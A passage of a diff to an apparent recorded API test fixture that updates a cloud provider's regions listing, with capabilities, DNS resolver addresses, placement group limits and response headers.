172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write 